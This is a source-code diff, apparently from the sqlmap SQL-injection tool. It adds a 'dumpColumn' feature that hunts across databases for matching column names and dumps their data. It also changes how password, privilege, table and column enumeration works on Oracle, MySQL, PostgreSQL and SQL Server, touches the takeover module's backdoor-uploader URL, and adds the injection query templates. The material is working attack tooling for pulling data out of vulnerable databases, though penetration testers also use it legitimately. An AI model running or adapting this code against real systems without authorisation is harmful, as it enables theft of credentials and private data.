logger.info(infoMsg) logger.info(infoMsg)
passwords = [] passwords = []
indexRange = getRange(count)
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if kb.dbms == "Microsoft SQL Server": if kb.dbms == "Microsoft SQL Server":
@@ -543,7 +552,12 @@ class Enumeration:
logger.info(infoMsg) logger.info(infoMsg)
privileges = set() privileges = set()
indexRange = getRange(count)
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if kb.dbms == "MySQL" and not kb.data.has_information_schema: if kb.dbms == "MySQL" and not kb.data.has_information_schema:
@@ -742,7 +756,12 @@ class Enumeration:
continue continue
tables = [] tables = []
indexRange = getRange(count)
if kb.dbms in ( "Microsoft SQL Server", "Oracle" ):
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
query = rootQuery["blind"]["query"] % (db, index) query = rootQuery["blind"]["query"] % (db, index)
@@ -785,31 +804,46 @@ class Enumeration:
conf.db = self.getCurrentDb() conf.db = self.getCurrentDb()
infoMsg = "fetching columns " rootQuery = queries[kb.dbms].columns
infoMsg = "fetching columns "
if conf.col:
if kb.dbms == "Oracle":
conf.col = conf.col.upper()
colList = conf.col.split(",")
condition = rootQuery["blind"]["condition"]
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
infoMsg += "like '%s' " % ", ".join(col for col in colList)
else:
condQuery = ""
infoMsg += "for table '%s' " % conf.tbl infoMsg += "for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].columns
if kb.unionPosition: if kb.unionPosition:
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db) query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
elif kb.dbms == "Oracle": elif kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % conf.tbl.upper() query = rootQuery["inband"]["query"] % conf.tbl.upper()
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
# TODO: adjust with condQuery
query = rootQuery["inband"]["query"] % (conf.db, conf.db, query = rootQuery["inband"]["query"] % (conf.db, conf.db,
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.tbl) conf.db, conf.tbl)
query += condQuery
value = inject.getValue(query, blind=False) value = inject.getValue(query, blind=False)
if value: if value:
table = {} table = {}
columns = {} columns = {}
for column, colType in value: for column, colType in value:
columns[column] = colType columns[column] = colType
table[conf.tbl] = columns table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table kb.data.cachedColumns[conf.db] = table
@@ -824,8 +858,10 @@ class Enumeration:
elif kb.dbms == "Oracle": elif kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper() query = rootQuery["blind"]["count"] % conf.tbl.upper()
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
# TODO: adjust with condQuery
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl) query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
query += condQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2) count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0": if not count.isdigit() or not len(count) or count == "0":
@@ -834,24 +870,27 @@ class Enumeration:
errMsg += "on database '%s'" % conf.db errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg raise sqlmapNoneDataException, errMsg
table = {}
columns = {}
if kb.dbms == "Microsoft SQL Server": if kb.dbms == "Microsoft SQL Server":
plusOne = True plusOne = True
else: else:
plusOne = False plusOne = False
table = {}
columns = {}
indexRange = getRange(count, plusOne=plusOne) indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if kb.dbms in ( "MySQL", "PostgreSQL" ): if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db, index) query = rootQuery["blind"]["query"] % (conf.tbl, conf.db)
elif kb.dbms == "Oracle": elif kb.dbms == "Oracle":
query = rootQuery["blind"]["query"] % (conf.tbl.upper(), index) query = rootQuery["blind"]["query"] % (conf.tbl.upper())
elif kb.dbms == "Microsoft SQL Server": elif kb.dbms == "Microsoft SQL Server":
# TODO: adjust with condQuery
query = rootQuery["blind"]["query"] % (index, conf.db, query = rootQuery["blind"]["query"] % (index, conf.db,
conf.db, conf.tbl) conf.db, conf.tbl)
query += condQuery
query = agent.limitQuery(index, query)
column = inject.getValue(query, inband=False) column = inject.getValue(query, inband=False)
if not onlyColNames: if not onlyColNames:
@@ -881,11 +920,275 @@ class Enumeration:
return kb.data.cachedColumns return kb.data.cachedColumns
def dumpTable(self): def dumpColumn(self):
if not conf.tbl: # TODO: adjust for MSSQL
errMsg = "missing table parameter"
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
if not conf.col:
errMsg = "missing column parameter"
raise sqlmapMissingMandatoryOptionException, errMsg raise sqlmapMissingMandatoryOptionException, errMsg
rootQuery = queries[kb.dbms].dumpColumn
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery["inband"]["condition"]
dbCond = rootQuery["inband"]["condition2"]
message = "do you want sqlmap to consider provided column(s):\n"
message += "[1] as LIKE column names (default)\n"
message += "[2] as exact column names"
colConsider = readInput(message, default="1")
if not colConsider or colConsider.isdigit() and colConsider == "1":
colConsider = "1"
colCondParam = " LIKE '%%%s%%'"
elif colConsider.isdigit() and colConsider == "2":
colCondParam = "='%s'"
else:
errMsg = "invalid value"
raise sqlmapNoneDataException, errMsg
if kb.dbms == "Microsoft SQL Server":
plusOne = True
else:
plusOne = False
for column in colList:
if kb.dbms == "Oracle":
column = column.upper()
conf.db = "USERS"
foundCols[column] = {}
if conf.db:
for db in conf.db.split(","):
dbs[db] = {}
foundCols[column][db] = []
continue
infoMsg = "fetching databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
if conf.excludeSysDbs and kb.dbms != "Oracle":
dbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
dbsQuery = ""
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
if kb.unionPosition:
query = rootQuery["inband"]["query"]
query += colQuery
query += dbsQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, str):
values = [ values ]
for value in values:
dbs[value] = {}
foundCols[column][value] = []
else:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
query = rootQuery["blind"]["count"]
query += colQuery
query += dbsQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
logger.warn(warnMsg)
continue
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
query = rootQuery["blind"]["query"]
query += colQuery
query += dbsQuery
query = agent.limitQuery(index, query)
db = inject.getValue(query, inband=False)
dbs[db] = {}
foundCols[column][db] = []
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbData:
infoMsg = "fetching tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
if kb.unionPosition:
query = rootQuery["inband"]["query2"]
if kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
else:
query = query % db
query += " AND %s" % colQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, str):
values = [ values ]
for value in values:
if value not in dbs[db]:
dbs[db][value] = {}
dbs[db][value][column] = None
foundCols[column][db].append(value)
else:
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
query = rootQuery["blind"]["count2"]
if kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
else:
query = query % db
query += " AND %s" % colQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
query = rootQuery["blind"]["query2"]
if kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
else:
query = query % db
query += " AND %s" % colQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
if colConsider == "1":
okDbs = {}
for db, tableData in dbs.items():
conf.db = db
okDbs[db] = {}
for tbl, columns in tableData.items():
conf.tbl = tbl
for column in columns:
conf.col = column
self.getColumns(onlyColNames=True)
if tbl in okDbs[db]:
okDbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
else:
okDbs[db][tbl] = kb.data.cachedColumns[db][tbl]
kb.data.cachedColumns = {}
dbs = okDbs
if not dbs:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
return
dumper.dbColumns(foundCols, colConsider, dbs)
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output not in ("y", "Y"):
return
dumpFromDbs = []
message = "which database?\n[a]ll (default)\n"
for db in dbs:
message += "[%s]\n" % db
message += "[q]uit"
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
dumpFromDbs = dbs.keys()
elif test[0] in ("q", "Q"):
return
else:
dumpFromDbs = test.replace(" ", "").split(",")
for db, tblData in dbs.items():
if db not in dumpFromDbs:
continue
conf.db = db
for table, columns in tblData.items():
conf.tbl = table
conf.col = ",".join(column for column in columns)
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
if data:
dumper.dbTableValues(data)
def dumpTable(self):
if not conf.tbl and not conf.col:
errMsg = "missing both table and column parameters, please "
errMsg += "provide at least one of them"
raise sqlmapMissingMandatoryOptionException, errMsg
if conf.col and not conf.tbl:
self.dumpColumn()
return
if "." in conf.tbl: if "." in conf.tbl:
conf.db, conf.tbl = conf.tbl.split(".") conf.db, conf.tbl = conf.tbl.split(".")
@@ -926,6 +1229,8 @@ class Enumeration:
infoMsg += " on database '%s'" % conf.db infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg) logger.info(infoMsg)
entriesCount = 0
if kb.unionPosition: if kb.unionPosition:
if kb.dbms == "Oracle": if kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper()) query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
@@ -934,6 +1239,9 @@ class Enumeration:
entries = inject.getValue(query, blind=False) entries = inject.getValue(query, blind=False)
if entries: if entries:
if isinstance(entries, str):
entries = [ entries ]
entriesCount = len(entries) entriesCount = len(entries)
index = 0 index = 0
@@ -974,17 +1282,15 @@ class Enumeration:
count = inject.getValue(query, inband=False, expected="int", charsetType=2) count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0": if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of " warnMsg = "unable to retrieve the number of "
if conf.col: if conf.col:
errMsg += "columns '%s' " % colString warnMsg += "columns '%s' " % colString
errMsg += "entries for table '%s' " % conf.tbl warnMsg += "entries for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db warnMsg += "on database '%s'" % conf.db
if conf.dumpAll: logger.warn(warnMsg)
logger.warn(errMsg)
return None return None
else:
raise sqlmapNoneDataException, errMsg
lengths = {} lengths = {}
entries = {} entries = {}
@@ -1036,17 +1342,15 @@ class Enumeration:
"db": conf.db "db": conf.db
} }
else: else:
errMsg = "unable to retrieve the entries of " warnMsg = "unable to retrieve the entries of "
if conf.col: if conf.col:
errMsg += "columns '%s' " % colString warnMsg += "columns '%s' " % colString
errMsg += "for table '%s' " % conf.tbl warnMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db warnMsg += "on database '%s'" % conf.db
if conf.dumpAll: logger.warn(warnMsg)
logger.warn(errMsg)
return None return None
else:
raise sqlmapNoneDataException, errMsg
return kb.data.dumpedTable return kb.data.dumpedTable
@@ -1076,8 +1380,8 @@ class Enumeration:
dumper.dbTableValues(data) dumper.dbTableValues(data)
def sqlQuery(self, query): def sqlQuery(self, query):
output = None output = None
sqlType = None sqlType = None
for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
for sqlStatement in sqlStatements: for sqlStatement in sqlStatements:

View File

@@ -169,7 +169,7 @@ class Takeover(Abstraction, Metasploit, Registry):
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/")) requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName) uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/").replace("//", "/") uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/")
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True) uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in uplPage: if "sqlmap backdoor uploader" not in uplPage:

View File

@@ -65,6 +65,11 @@ aType =
# Syntax: username:password # Syntax: username:password
aCred = aCred =
# HTTPs Authentication certificate. Useful only if the target url requires
# logon certificate and you have such data.
# Syntax: key_file,cert_file
aCert =
# Use a HTTP proxy to connect to the target url. # Use a HTTP proxy to connect to the target url.
# Syntax: http://address:port # Syntax: http://address:port
proxy = proxy =

View File

@@ -51,9 +51,13 @@
<blind query="SELECT table_name FROM information_schema.TABLES WHERE table_schema='%s' LIMIT %d, 1" count="SELECT COUNT(table_name) FROM information_schema.TABLES WHERE table_schema='%s'"/> <blind query="SELECT table_name FROM information_schema.TABLES WHERE table_schema='%s' LIMIT %d, 1" count="SELECT COUNT(table_name) FROM information_schema.TABLES WHERE table_schema='%s'"/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/> <inband query="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
<blind query="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s' LIMIT %d, 1" query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/> <blind query="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
</columns> </columns>
<dump_column>
<inband query="SELECT table_schema FROM information_schema.COLUMNS WHERE " query2="SELECT table_name FROM information_schema.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema"/>
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.COLUMNS WHERE " query2="SELECT DISTINCT(table_name) FROM information_schema.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.COLUMNS WHERE " count2="SELECT COUNT(DISTINCT(table_name)) FROM information_schema.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema"/>
</dump_column>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s.%s"/> <inband query="SELECT %s FROM %s.%s"/>
<blind query="SELECT %s FROM %s.%s LIMIT %d, 1" count="SELECT COUNT(*) FROM %s.%s"/> <blind query="SELECT %s FROM %s.%s LIMIT %d, 1" count="SELECT COUNT(*) FROM %s.%s"/>
@@ -102,9 +106,13 @@
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/> <blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/> <inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>
<blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE LIMIT=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/> <blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>
</columns> </columns>
<dump_column>
<inband query="" query2="SELECT TABLE_NAME FROM SYS.ALL_TAB_COLUMNS" condition="COLUMN_NAME" condition2="TABLESPACE_NAME"/>
<blind query="" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.ALL_TAB_COLUMNS" count="" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.ALL_TAB_COLUMNS" condition="COLUMN_NAME" condition2="TABLESPACE_NAME"/>
</dump_column>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s"/> <inband query="SELECT %s FROM %s"/>
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/> <blind query="SELECT %s FROM (SELECT %s, ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
@@ -161,9 +169,13 @@
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/> <blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/> <inband query="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
<blind query="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' OFFSET %d LIMIT 1" query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/> <blind query="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
</columns> </columns>
<dump_column>
<inband query="SELECT nspname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " query2="SELECT relname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " query2="SELECT DISTINCT(relname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname"/>
</dump_column>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s.%s"/> <inband query="SELECT %s FROM %s.%s"/>
<blind query="SELECT %s FROM %s.%s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/> <blind query="SELECT %s FROM %s.%s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
@@ -214,6 +226,7 @@
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/> <inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/> <blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
</columns> </columns>
<dump_column/>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s..%s"/> <inband query="SELECT %s FROM %s..%s"/>
<blind query="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s)" count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/> <blind query="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s)" count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/>